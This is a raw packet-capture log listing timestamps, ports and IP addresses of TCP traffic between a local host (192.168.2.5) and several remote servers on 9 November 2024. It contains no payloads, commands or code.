Nov 9, 2024 22:09:44.671649933 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.671998024 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.672007084 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.672452927 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.672524929 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.673201084 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.673264027 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.673361063 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.707331896 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.714261055 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.714277029 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.714278936 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.714278936 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.714283943 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.714293003 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.718358040 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.718470097 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.718966007 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.719041109 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.719067097 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.719079971 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.719218016 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.719228029 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.719332933 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.719386101 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.719996929 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.720010996 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.720041037 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.720046043 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.721786022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.721848011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.721858978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.721883059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.721931934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.721976042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.721987963 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.721998930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722058058 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.722058058 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.722234964 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722305059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.722351074 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722363949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722408056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.722537041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722548962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722584009 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.722731113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722791910 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.722853899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722855091 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.722866058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722877979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.722901106 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.722924948 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.723145962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.723157883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.723205090 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.723205090 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.723354101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.723365068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.723488092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.723499060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.723540068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.723592997 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.724914074 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.724935055 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.725121021 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.725591898 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.725627899 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.725763083 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.726768017 CET	49874	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.726779938 CET	443	49874	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.727298975 CET	49875	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.727319956 CET	443	49875	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.741378069 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.741560936 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.742058992 CET	49864	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.743500948 CET	49864	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.743511915 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.756180048 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.762238026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.762259960 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.762270927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.762362003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.762384892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.762384892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.762408018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.762437105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.762448072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.762502909 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.762502909 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.762972116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.762984991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.763000011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.763034105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.763072014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.763515949 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.763593912 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.772016048 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.772025108 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.794308901 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.794343948 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.794903994 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.795120001 CET	49876	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:44.795129061 CET	443	49876	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:44.795357943 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.795378923 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.795437098 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.795447111 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.795458078 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.795511961 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.796077013 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.796101093 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.796155930 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.796169043 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.796181917 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.796238899 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.799057007 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.799069881 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.799411058 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.799432993 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.799740076 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.800713062 CET	49877	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.800726891 CET	443	49877	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801021099 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801073074 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801074028 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801178932 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.801196098 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801219940 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801266909 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.801558971 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801609993 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.801685095 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.805015087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.805071115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.805082083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.805098057 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.805131912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.811832905 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.811856031 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.811913013 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.811939955 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.811978102 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.812335014 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:44.812469006 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.812493086 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.812700987 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.812763929 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.835270882 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.835302114 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.835807085 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.835835934 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.835997105 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.836616993 CET	49878	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.836628914 CET	443	49878	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.838967085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.838990927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839003086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839080095 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.839126110 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839139938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839144945 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.839195967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.839255095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839267969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839330912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.839484930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839502096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839514017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839525938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839528084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.839536905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839554071 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.839602947 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.839977980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.839991093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.840099096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.840111017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.840121031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.840152979 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.840178013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.840367079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.840378046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.840390921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.840415001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.840449095 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.840622902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.843930960 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.852808952 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:44.854540110 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.854573011 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.854827881 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.856724024 CET	49879	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:44.856739998 CET	443	49879	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:44.857707024 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.857724905 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.858361006 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.858374119 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.861419916 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.861430883 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.862109900 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:44.862116098 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.872106075 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:44.872117996 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:44.875860929 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:44.875879049 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:44.875932932 CET	49859	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:44.875941038 CET	443	49859	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:44.879061937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879112005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879123926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879164934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.879210949 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.879307985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879333019 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879357100 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.879403114 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.879494905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879507065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879518032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.879570961 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.879600048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.921781063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.921838045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.921849966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.921873093 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.921932936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.955727100 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.955869913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.955882072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.955900908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.955918074 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.955929995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.955940962 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.955996037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.956940889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.956953049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.956965923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.956998110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.957015991 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.957072973 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957084894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957097054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957124949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957127094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.957137108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957148075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957149029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.957159996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957195997 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.957798958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957811117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957815886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957822084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957829952 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957842112 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957854033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.957895041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.957930088 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.995951891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.995982885 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.995995045 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996094942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.996094942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.996191025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996205091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996252060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.996376038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996387005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996536970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996562004 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.996575117 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.996653080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996664047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996674061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.996695042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.996721983 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.038626909 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.038681030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.038707972 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.038762093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.038772106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.038815022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.072575092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.072602034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.072614908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.072674036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.072696924 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.072758913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.072770119 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.072782993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.072798967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.072824001 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.072987080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.072999954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073012114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073041916 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.073070049 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.073295116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073307037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073347092 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.073470116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073482037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073527098 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.073554993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.073677063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073688984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073699951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073712111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.073746920 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.073776007 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.074049950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.074150085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.074161053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.074177027 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.074203968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.074291945 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.074302912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.074321032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.074345112 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.074354887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.113038063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113140106 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.113197088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113209009 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113255024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.113334894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113348007 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113360882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113372087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113375902 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.113410950 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.113668919 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113693953 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113751888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:45.113800049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113815069 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:45.113936901 CET	49813	80	192.168.2.5	185.215.113.206
